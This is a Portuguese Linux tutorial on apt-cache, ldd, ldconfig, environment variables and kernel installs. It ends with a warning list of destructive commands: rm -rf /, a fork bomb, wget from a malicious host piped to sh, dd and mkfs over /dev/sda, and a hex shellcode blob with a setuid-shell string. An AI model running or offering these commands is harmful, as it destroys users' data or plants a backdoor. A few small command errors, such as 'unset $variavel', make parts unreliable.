O apt-cache é um comando utilizado para manipular e obter informações sobre os pacotes no cache do apt.
Veja alguns exemplos:
apt-cache pkgnames
- Mostra os nomes de todos os pacotes no cache.apt-cache stats
- Mostra algumas estatísticas básicas.apt-cache dump
- Mostra um despejo do cache inteiro.Podemos digitar assim para vermos a paginação aos poucos (para sair digite q):
apt-cache pkgnames | less
Para ver o filtro com itens específicos:
apt-cache pkgnames | grep fonts
E juntar os dois:
apt-cache pkgnames | grep fonts | less
O less pode ser usado em outros comandos:
apt-cache dump | less
Outros exemplos de uso:
apt-cache search palavrachave
- Mostra todos os pacotes relacionados com a palavra-chave.apt-cache show pacote
- Mostra uma breve descrição sobre um pacote em particular.apt-cache showpkg pacote
- Mostra uma informação mais geral sobre o pacote.apt-cache depends pacote
- Mostra de quais pacotes o pacote especificado depende.Por exemplo:
apt-cache search atari
apt-cache show stella
apt-cache showpkg stella
apt-cache depends stella
PS: Podemos também usar apenas apt
no lugar de apt-cache.
O comando ldd exibe as bibliotecas compartilhadas requeridas por cada um dos programas listados na sua linha de comando, trazendo o nome da biblioteca e o local onde se espera encontrá-la.
Para consultar a versão do ldd, digite ldd --version
.
Para começar, digite isso para vermos as bibliotecas do programa ls:
ldd /bin/ls
Os programas executáveis dinamicamente vinculados são examinados, no momento da execução, pelo vinculador dinâmico de objetos compartilhados ld.so.
Ele procura por dependências no executável que está sendo carregado e tenta satisfazer vínculos a bibliotecas compartilhadas de sistema que não estejam resolvidos. Se ele não encontrar uma biblioteca, o programa poderá não rodar.
ld.so pode procurar pelos diretórios que contém bibliotecas na variável LD_LIBRARY_PATH
ou as bibliotecas são procuradas em um índice de nomes e localizações de bibliotecas (binário) chamado /etc/ld.so.cache.
Para adicionar novas entradas ao cache, adicione o diretório que contém as bibliotecas ao arquivo /etc/ld.so.conf e atualize o cache com o comando ldconfig
.
Digite esses comandos:
cat /etc/ld.so.conf
ldconfig
O ldconfig configura ligações em tempo de execução do ligador dinâmico (ld.so). Cria os links e cache necessários para as bibliotecas compartilhadas mais recentes encontradas nos diretórios especificados na CLI, no arquivo /etc/ld.so.conf e nos diretórios /lib e /usr/lib.
O ldconfig deve ser sempre executado após a instalação de uma nova biblioteca compartilhada. O comando ldconfig -p
examina o conteúdo do cache de bibliotecas ls.so.cache, e o ldconfig
reconstrói o cache incluindo as atualizações realizadas em /etc/ld.so.conf.
Na variável de ambiente LD_LIBRARY_PATH contém uma lista de diretórios separados por : onde o sistema irá procurar por determinada biblioteca dinâmica (*.so). Quando um programa precisa de uma biblioteca, o sistema a procura nos diretórios listados em LD_LIBRARY_PATH, depois no arquivo de cache /etc/ld.so.cache e então nos diretórios /lib e /usr/lib. Para visualizar o conteúdo da variável de ambiente, use o comando echo $LD_LIBRARY_PATH
. Ele deverá retornar /usr/local/lib/:/usr/lib/:/usr/lib64/
se estiver configurado corretamente. Caso não retorne, coloque a variável com esses valores no arquivo /etc/bash.bashrc
.
No arquivo /etc/ld.so.conf contém uma lista de diretórios nos quais podem se procurar por bibliotecas, configurável pelo usuário. E no arquivo /etc/ld.so.cache contém uma lista ordenada de bibliotecas encontradas nos diretórios encontrados em /etc/ld.so.conf. Não é legível por humanos e não deve ser editado, pois é binário.
As bibliotecas compartilhadas funcionam assim: O usuário executa um programa qualquer. O programa ld.so é invocado para descobrir as dependências do programa do usuário e vincular as bibliotecas necessárias. Para isso o ld.so consulta diversos diretórios que contém as bibliotecas e a variável de ambiente LD_LIBRARY_PATH. Ao encontrar as dependências requeridas, efetua a vinculação e assim as funções da biblioteca ficam disponíveis para o programa chamador e ele é então executado. O ld.so também pode consultar um cache de nomes de bibliotecas e caminhos chamado /etc/ld.so.cache (não legível por humanos). É Possível acrescentes mais caminhos de diretórios ao ld.so.cache editando-se o arquivo de configuração /etc/ld.so.conf. Caso o /etc/ld.so.conf seja editado, rode o programa ldconfi logo após para atualizar o cache com as novas configurações.
As variáveis de ambiente permitem mudar o shell de várias formas para adaptá-lo às necessidades do usuário. Esses são alguns exemplos de variáveis de ambiente:
PS1
- Prompt da linha de comandos.HOME
- Diretório /home de um usuário.PATH
- Lista de diretórios vasculhados quando um comando é executado.Para verificar o conteúdo de uma variável de ambiente, podemos fazer assim:
env
- Todas as variáveis.echo $NOMEDAVARIAVEL
- Variável específica.Para adicionar um caminho à variável PATH, digitamos PATH=$PATH:/novocaminho
. Para criar uma variável de ambiente, digitamos NOMEDAVARIAVEL=meuconteudo
. As variáveis assim criadas possuem escopo local válidas apenas no shell atual. Para tornar seu escopo global, exporte-as com o comando export
.
Digite esses comandos:
FRUTA=laranja
echo $FRUTA
export FRUTA
env
mkdir /testevar
PATH=$PATH:/minhavar
env
PS: Para tornar as variáveis de ambiente permanente no sistema, coloque elas no final do arquivo localizado em ~/.bashrc
(para usuário) ou /etc/bash.bashrc
(para todo o sistema), como por exemplo export PATH=$PATH:/caminho
. Para adicionar um caminho ao path, adicione o caminho com dois pontos no arquivo /etc/environment
, da forma :/caminho
.
Para remover uma variável exportada, digite unset $variavel
.
Antes de instalar o novo kernel, faça o back-up dos arquivos do seu Linux.
Para descobrirmos a versão atual do kernel, digite uname -r
. Para vermos os kernels disponíveis digitamos apt-cache search linux-image
.
Para instalar, basta isso, substituindo pelo kernel desejado:
apt-get install linux-image-2.6.32.5-xen-686
No final, ele ficará com dois kernels, após um reinício da máquina e o uso pelo novo kernel, podemos excluir o antigo pelo apt-get remove.
Há uma série de comandos e combinações de comandos que são extremamente perigosos em seu ambiente Linux, especialmente se você utiliza o sistema como usuário root para tarefas normais. É importante conhecer alguns desses comandos para evitar problemas sérios em seu sistema.
O comando rm -rf
é uma forma rápida de apagar uma pasta e seu conteúdo. Mas qualquer erro pode resultar em perda de dados, geralmente irrecuperável. Vejamos algumas opções:
rm -r
- Apaga uma pasta recursivamente.rm -f
- Remover arquivos somente-leitura sem perguntar.rm -rf /
- Força a exclusão de tudo no diretório raiz.rm -rf *
- Força a exclusão de tudo no diretório atual.rm -rf .
- Força a exclusão do diretório atual e suas sub-pastas.PS: Alguns sistemas tem proteção própria contra o uso errado desse comando, mas pode usar algo como rm -rf / --no-preserve-root
para apagar o sistema.
O comando :(){ :|:& };:
é uma fork bomb, que cria vários processos até travar o sistema. Ele funciona definindo uma função chamada ":", a qual chama a si mesma duas vezes, uma em foreground (primeiro plano) e outra em background.
O comando mv nomedoarquivo /dev/null
moverá o arquivo especificado para o dispositivo /dev/null. No Linux, o dispositivo /dev/null ou null é um arquivo especial que descarta todos os dados escritos nele e informa que a operação de escrita foi bem-sucedida.
O comando wget http://fontemaliciosa -O- | sh
irá baixar um script da Internet, o qual pode estar em uma fonte maliciosa de dados, e então o executará por meio do shell sh.
O comando > nomedoarquivo
pode ser usado para apagar o conteúdo de um arquivo. Se esse comando for executado inadvertidamente, como por exemplo "> arquivo.conf", todo o conteúdo do arquivo arquivo.conf será sobrescrito e, dessa forma, perdido.
O comando dd if=/dev/random of=/dev/sda
irá apagar o dispositivo de blocos sda e escreverá dados aleatórios nele. Como seu sistema provavelmente está instalado nesse dispositivo, estará perdido e irrecuperável.
O comando mkfs.ext3 /dev/sda
formata o dispositivo de blocos sda e então o disco terá seu conteúdo totalmente apagado, como se fosse um disco novo.
E também tem esse código em hexadecimal aqui:
char esp[] __attribute__ ((section(".text”))) /* e.s.p
release */
= "\xeb\x3e\x5b\x31\xc0\x50\x54\x5a\x83\xec\x64\x68"
"\xff\xff\xff\xff\x68\xdf\xd0\xdf\xd9\x68\x8d\x99"
"\xdf\x81\x68\x8d\x92\xdf\xd2\x54\x5e\xf7\x16\xf7"
"\x56\x04\xf7\x56\x08\xf7\x56\x0c\x83\xc4\x74\x56"
"\x8d\x73\x08\x56\x53\x54\x59\xb0\x0b\xcd\x80\x31"
"\xc0\x40\xeb\xf9\xe8\xbd\xff\xff\xff\x2f\x62\x69"
"\x6e\x2f\x73\x68\x00\x2d\x63\x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";
Essa sequência de caracteres toda nada mais é que o comando rm -rf, porém representado em códigos hexadecimais, de modo a enganar quem não conheça esse tipo de representação. Se esse comando for executado no terminal, a partição principal do sistema será totalmente apagada.
Uma coisa boa no Linux é que muitos desses comandos acima só são executados como root. Mas alguns sistemas, como o Kali e principalmente os que só usam a linha de comando, geralmente entram como root. Alguns desses comandos o próprio sistema já protege contra eles.